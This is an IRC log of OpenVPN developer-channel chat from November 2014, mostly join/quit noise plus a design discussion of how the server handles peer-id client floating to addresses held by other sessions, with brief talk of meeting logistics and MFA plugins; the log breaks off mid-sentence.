#openvpn-devel 18:34 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 18:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 18:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:50 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 18:51 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 18:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 18:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 19:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 19:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:12 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 19:12 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:17 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 19:17 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 19:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 19:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:28 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 19:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 19:33 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:38 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 19:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 19:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 19:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 19:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 19:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 20:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 20:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 20:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 20:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:19 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 20:20 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:24 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 240 seconds] 20:24 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 20:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:34 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 20:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 20:40 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 20:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 20:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 20:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 20:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:00 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 21:01 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:05 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 21:06 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:10 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 21:10 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:15 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 21:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:21 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 21:22 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 21:28 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:33 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 21:34 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:39 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 21:40 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:44 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 21:49 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:50 -!- moveax3 [~moveax3@46.165.12.227] has quit [Read error: Connection reset by peer] 21:50 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 21:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 21:56 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 22:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:04 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 22:05 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:09 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 22:09 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 22:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 22:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 22:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:30 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 22:31 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:36 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 22:37 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 244 seconds] 22:41 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:42 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 22:43 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:47 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 22:48 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:53 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 258 seconds] 22:53 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 22:58 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 22:58 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:02 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 23:03 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:06 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 23:07 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 23:07 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:12 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 23:13 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:18 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 23:18 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:23 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 264 seconds] 23:25 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:29 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 23:30 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:35 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 256 seconds] 23:36 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:41 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 23:42 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:46 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 23:46 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:51 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 23:51 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 23:56 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 23:57 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel --- Day changed Sun Nov 09 2014 00:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 00:02 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:06 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 260 seconds] 00:08 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:08 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 00:09 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:14 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 00:15 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:20 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 245 seconds] 00:21 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:26 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 00:26 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 00:32 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 01:33 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 01:51 -!- mattock_afk is now known as mattock 02:47 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 02:51 <@vpnHelper> RSS Update - tickets: #478: Best Foods To Eat To Lose Weight Fast And Lipo 13 Pills For Spanish People <https://community.openvpn.net/openvpn/ticket/478> 03:20 -!- shivanshu [~shivanshu@unaffiliated/shivanshu] has joined #openvpn-devel 03:24 <@cron2> moveax3: could you please avoid joining and leaving all night? this is really annoying - if your machine disconnects when idle, please leave in the evining and re-join in the morning 03:37 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 244 seconds] 03:41 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 03:52 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 03:54 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 03:59 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:00 -!- mode/#openvpn-devel [+o mattock] by ChanServ 05:12 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 265 seconds] 05:57 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 05:58 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 06:16 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 260 seconds] 08:12 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:12 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 09:14 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 09:49 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 10:52 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:29 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 11:38 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 12:01 -!- moveax3 [~moveax3@46.165.12.227] has quit [Remote host closed the connection] 12:01 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 12:18 <@cron2> __sparc_utrap: fatal illegal instruction 12:18 <@cron2> *sigh* 12:18 <@cron2> openssl 1.0.1j on fbsd/sparc64 compiles itself into brokenness... 12:33 -!- puskin [~puskin@162.248.167.201] has joined #openvpn-devel 12:33 < puskin> !exit 12:33 < puskin_afk> Ai Tuoi Ordini Capo !! ;) 12:33 -!- puskin_afk [~puskin_af@162.248.167.201] has quit [Quit: Bye :)] 12:40 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:40 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:23 -!- moveax3 [~moveax3@109.236.91.117] has quit [Remote host closed the connection] 13:23 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 13:23 -!- moveax3 [~moveax3@109.236.91.117] has quit [Remote host closed the connection] 13:24 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 13:24 -!- moveax3 [~moveax3@109.236.91.117] has quit [Remote host closed the connection] 13:26 -!- moveax3 [~moveax3@109.236.91.117] has joined #openvpn-devel 13:29 -!- puskin [~puskin@162.248.167.201] has quit [Ping timeout: 245 seconds] 13:38 -!- moveax3 [~moveax3@109.236.91.117] has quit [Ping timeout: 265 seconds] 13:39 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:43 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 265 seconds] 13:44 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:49 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 255 seconds] 13:49 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:55 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 272 seconds] 13:55 -!- moveax3 [~moveax3@46.165.12.227] has joined #openvpn-devel 13:55 -!- mode/#openvpn-devel [+b moveax3!*@*] by cron2 13:59 -!- moveax3 [~moveax3@46.165.12.227] has quit [Ping timeout: 250 seconds] 14:08 * cron2 waves goodbye 14:37 -!- mattock is now known as mattock_afk 16:32 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 23:17 -!- mattock_afk is now known as mattock --- Day changed Mon Nov 10 2014 00:29 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 01:06 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 244 seconds] 01:28 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 01:49 -!- puskin_afk [~puskin_af@162.248.167.201] has joined #openvpn-devel 01:59 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 02:31 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 04:39 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 04:48 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 05:11 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 272 seconds] 05:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 05:18 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 05:26 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:26 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 07:18 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:21 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:44 -!- harshar [~harsh@202.3.77.215] has quit [Remote host closed the connection] 12:52 <@syzzer> cron2: you have any recommendations for a dining place like last year? 12:55 <@cron2> syzzer: depends on what specifically you have in mind - for "bavarian style" I have http://www.weisses-brauhaus.de/ - or any of the other "Bräustüberl" 12:57 <@cron2> Friday I tend to go to Cafe Westend (cafe-westend.com) again, as it's in walking distance and known good :) 12:59 <@syzzer> I'm fine with anything as long as it is a bit affordable, like the places from last year. Just thought we probably needed to place a reservation for the group. 12:59 <@cron2> yes, this is why I'm asking 13:06 <@syzzer> the weisses brauhaus looks good! couple of stops with the s-bahn away from spacenet 14:08 -!- roentgen [~none@openvpn/community/support/roentgen] has quit [Remote host closed the connection] 14:16 -!- mattock is now known as mattock_afk 14:21 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 14:31 -!- roentgen [~none@openvpn/community/support/roentgen] has joined #openvpn-devel 14:31 -!- mode/#openvpn-devel [+v roentgen] by ChanServ 18:56 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 250 seconds] 19:12 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 255 seconds] 19:12 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:17 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 255 seconds] 19:29 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:38 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 264 seconds] 19:44 -!- siruf [~siruf@unaffiliated/motley] has joined #openvpn-devel 19:56 -!- siruf [~siruf@unaffiliated/motley] has quit [Ping timeout: 245 seconds] 19:56 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 261 seconds] 23:59 -!- mattock_afk is now known as mattock --- Day changed Tue Nov 11 2014 01:16 -!- awestin1_ [sid20967@gateway/web/irccloud.com/x-mhvbsvdikyptdpuk] has joined #openvpn-devel 01:17 -!- awestin1 [sid20967@gateway/web/irccloud.com/x-ctzpmahemmhjfuzz] has quit [Ping timeout: 275 seconds] 01:17 -!- awestin1_ is now known as awestin1 02:14 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 02:45 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 03:47 -!- kef [~kef@matrix.fullmotion.de] has joined #openvpn-devel 07:31 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 07:31 <@cron2> ok, so I'll go out and buy about 8 times (2-3 weisswürstl and 1-2 pretzls) :) 07:32 <@plaisthos> cron2: :) 07:32 <@plaisthos> Ich hätte gerne 8 mal ein bis zwei Weisswürstl 07:32 <@plaisthos> :P 07:32 <@cron2> plaisthos: zwei bis drei! 07:49 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 255 seconds] 08:02 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 08:12 -!- puskin_afk [~puskin_af@162.248.167.201] has quit [Remote host closed the connection] 09:14 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 09:14 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:18 <@syzzer> :') 09:26 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 264 seconds] 09:59 -!- puskin [~puskin@162.248.167.201] has joined #openvpn-devel 10:12 -!- puskin [~puskin@162.248.167.201] has quit [Quit: Leaving...] 11:30 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has quit [Quit: Leaving.] 11:58 -!- Envil [~meep@95.211.26.40] has joined #openvpn-devel 12:05 <@ecrist> why isn't there anything in the man page about the openvpn packet filter? 12:14 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has quit [Read error: Connection reset by peer] 12:36 -!- Eagle_Erwin [~Erwin@codeserver.student.utwente.nl] has joined #openvpn-devel 12:41 <@dazo> ecrist: probably because it basically requires a plug-in to function 12:42 <@dazo> (and we don't ship such a plug-in) 12:48 <@plaisthos> I sent a patch for a plugin to the mailing list a few years ago 12:48 <@plaisthos> but the whole packet filter stuff is obscure ... 12:48 <@plaisthos> and works only with tap iirc 12:49 <@ecrist> ah, ok, good to know 12:50 <@ecrist> thanks 13:47 -!- mattock is now known as mattock_afk 14:02 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 14:15 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 15:40 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 16:17 -!- harshar [~harsh@202.3.77.215] has quit [Ping timeout: 240 seconds] 16:18 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 16:24 -!- Envil [~meep@95.211.26.40] has quit [Remote host closed the connection] 17:55 -!- harshar [~harsh@202.3.77.215] has quit [Quit: Leaving] 18:19 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has joined #openvpn-devel 18:30 -!- tbenson [~tbenson@c-50-131-82-204.hsd1.ca.comcast.net] has quit [Quit: tbenson] 19:24 -!- dazo is now known as dazo_afk 23:59 -!- mattock_afk is now known as mattock --- Day changed Wed Nov 12 2014 00:09 -!- pekster [~rewt@openvpn/community/support/pekster] has quit [Ping timeout: 265 seconds] 00:24 -!- pekster [~rewt@openvpn/community/support/pekster] has joined #openvpn-devel 00:25 -!- mode/#openvpn-devel [+o pekster] by ChanServ 02:16 -!- reators [~holger@2001:1a80:2000:2:fe4d:d4ff:fed2:6b99] has joined #openvpn-devel 05:08 < lev__> Hi guys, about peer-id. Client connects from address 1 (let's call it multi_instance 1), then disconnects. Then client connects from address 2 (mi 2) and floats to address 1. What server should do? Disconnect mi1 or prevent float? 05:20 <@cron2> same client (aka "same CN")? 05:27 < lev__> so far reproduced with same client, after tls reneg fails on mi1 and it becomes lame duck 05:29 < lev__> when it is lame duck, it is not kicked client with same CN connects again 06:00 <@cron2> if "lame duck", I'd say "disconnect mi1" 06:01 <@cron2> (and log the fact "shooting lame duck" or such that we can see from the log which code part triggered that) 06:27 -!- dazo_afk is now known as dazo 06:55 < lev__> cron2: what if lame duck is different client (different CN), is it ok to shoot it? 06:56 <@dazo> how would that happen? 06:58 <@plaisthos> dazo: easy 06:58 <@cron2> it could be "many clients behind the same NAT, one client is powered off, no --ping on server, eventually the key times out, and then another client happens to get the same external IP and port number" or such 06:58 <@plaisthos> even more easy 06:58 * cron2 listens 06:58 <@plaisthos> mobile device in wlan 06:59 <@plaisthos> mobile device drop wifi 06:59 < lev__> dazo: well, same way I described few lines ago. Reproduced it with two different clients. One VM as client, another as server. Connected from ip1 with cert1, disconnected. Then changed to ip2 and connected with cert2, then back to ip1 06:59 <@plaisthos> connects again via umts and then falls back to wifi 06:59 <@cron2> plaisthos: but that would be lame-duck'ing himself, not "another one" 06:59 <@dazo> right ... that means it's a different client, not the same client with new CN (which was the scenario I imagined) 06:59 <@plaisthos> cron2: yeah. But the server doesn't know that 07:00 <@cron2> lev__: good questions. I suggest the following approach: shoot it anyway, with clear logging, *AND* bring up the question on Friday 07:00 <@cron2> (and all possible scenarios you have identified) - we'll have James at the table, and He Will Know The Answer :-) 07:00 < lev__> roger that! 07:01 <@plaisthos> oh lev__ is there too? 07:01 <@plaisthos> nice :) 07:01 <@dazo> WWJD - What Would James Do ;-) 07:01 <@cron2> plaisthos: true. So what does the old code do? 07:01 <@cron2> plaisthos: yep 07:01 <@plaisthos> cron2: there is no float in old code so no problem 07:02 <@plaisthos> either hmac matches or not 07:32 <@plaisthos> the new situation is "a client wants to float to an address that is already in use by another client" as far as I understood it 07:33 < lev__> right 07:34 < lev__> so if it is lame duck, we shoot it, otherwise - do we just drop packet or disconnect incoming client saying - hey, you better not to float here 07:35 <@cron2> yeah, if client 2 floats to an ip+port combo used by client 1, then there is nothing we can do about it - but that would be a very broken NAT 07:39 < Hes> I was thinking, if client 2 floats to an ip+port tuple of client 1, it could be client 2 intentionally annoying client 1 07:39 <@cron2> if client 1 is active, we do not shoot it, just ignore client 2 (and log so) 07:39 <@cron2> this is something that will not normally happen 07:40 < Hes> apparently it happens here often enough to kill lev's server :) 07:40 < Hes> in a matter of a day or two 07:40 <@cron2> as far as I understand, it's himself coming back (so identical client, not "new client") 07:41 < Hes> It's a new client instance (openvpn client reconnected), but using the same client certificate 07:42 < Hes> same client identity, but a new session 07:42 <@cron2> we need to differenciate between "old client is still active" or "lame duck". If lame duck, shoot, if active, ignore floating client 07:43 < Hes> yes, that makes sense 07:44 < lev__> cron2: but what if lame duck is from another client (another CN)? It still provides valid data channel 07:45 <@cron2> lev__: it does? I thought lame duck is "key renegotiation failed"? 07:47 < Hes> With carrier-grade NAT in front of mobile networks, ip+port reuse between clients is quite possible within some timeframe which might be longer than our idle timeout 07:47 < Hes> not frequent, but possible 07:48 < Hes> especially with client floating making longer idle timeouts an interesting option 07:52 < Hes> ... i mean, which might be shorter than our idle timeout, of course. 07:53 <@cron2> if the port is reused in such a quick time, you'll have to use -ping 07:54 < lev__> cron2: I just tried it and was able to ping a server (via tun network) after seeing "TLS key reneg failed". Also, "By * preserving the lame duck session, we can be assured of having a data * channel key available even when network conditions are so bad that * we can't negotiate a new key within the time allotted" 07:54 <@cron2> (and there is nothing we can do for these clients anyway - even if we somehow permit two active clients on the same ip+port at the same time, the NAT won't deliver our responses to the right client) 07:55 < Hes> Right, if they're actually two different clients, only one will really work. 07:56 < Hes> I suppose the difficulty lies in that, at the moment we get a new data packet with peer-id 2, using the ip+port tuple of peer-id 1, we don't right at that moment know what to do. 07:56 <@cron2> let's write up the different possible scenarios in a table (same client, different client, lame duck, active) and check each of them fri/sat - the table is important, so we agree what we're talking about it 07:56 <@cron2> Hes: right. All we can do is decide on the "most propable correct" course, and document it 07:56 < Hes> It could be (a) a valid float event, or (b) someone playing fun by spoofing your addr+port 07:57 <@plaisthos> I think we have to be careful about replay attack 07:57 <@cron2> this is why my suggestion is: active client 1 -> ignore client 2 07:57 <@plaisthos> that we don't drop valid connections 07:57 <@cron2> lame duck client 1 -> shoot duck, use client 2 07:58 <@cron2> (so an attacker would somehow need to get client 1 into "lame duck" state first, which should be hard to achieve) 07:58 <@cron2> (or *if* he can do that by dropping his packets, he has more options to attack client 2) 08:00 < Hes> Mobile devices jumping between a bad 3G or GPRS connection, and a wifi, might trigger some corner cases here. 08:03 < Hes> Btw, I should probably clear this out finally, that me & lev are both working for the same employer. I'm sort of an architect here, the peer-id concept spec is from me originally. Lev's written the code. 08:03 < Hes> We don't have it in our code tree yet, we're pushing it to you guys first to get it reviewed and done right, and so that we don't end up with a fork of any sort. 08:11 <@cron2> Hes: thanks for clarifying. It's good to have two brains look on the corner cases and bring the issues up :-) 08:12 < Hes> In the case of this feature, more than 2 if possible. :) 08:26 <@cron2> "on the implementors side", of course we need to review :) 08:38 < lev__> so I have a fix for crash on assert (fixed by handling correctly float to taken address, so two multi_instances wont have same item in m->hash anymore), I guess no point to send it now since it'll be reviewed anyway on Fri 10:15 <@plaisthos> maybe we can also the session to a "We have no idea what IP address this session has" state 10:16 <@plaisthos> so the server would just throw away all packets to the client 10:16 <@plaisthos> but if the client comes again we give it a proper state again 10:25 <@cron2> lev__: please send anyway, maybe James feels like giving it a read on the (long!) flight... 11:16 -!- srijanshetty [~srijanshe@14.139.38.11] has joined #openvpn-devel 11:23 -!- harshar [~harsh@202.3.77.215] has joined #openvpn-devel 11:31 < srijanshetty> dazo, we pinged you the other day regarding MFA support 11:33 <@dazo> srijanshetty: ahh, right ... I've briefly looked at things, but haven't had time to go very deep yet 11:35 < srijanshetty> Okay. 11:35 < srijanshetty> We've tried to extend key method 2 with MFA 11:36 < srijanshetty> through plugins, just like the auth-userpass mechanism 11:36 <@dazo> right 11:37 < srijanshetty> It would be great if you could give us some general pointers 11:37 <@dazo> there are some of these features already included ... a challenge/response functionality currently only available via the management API 11:38 <@dazo> have you noticed that? 11:38 < srijanshetty> Yes 11:38 <@dazo> good! :) 11:38 < srijanshetty> And we're working on MFA sessions currently 11:39 <@dazo> right 11:40 < srijanshetty> We're doing this for Mozilla's Winter of Security :) 11:40 <@dazo> I've understood that :) 11:41 <@dazo> can you give a really quick 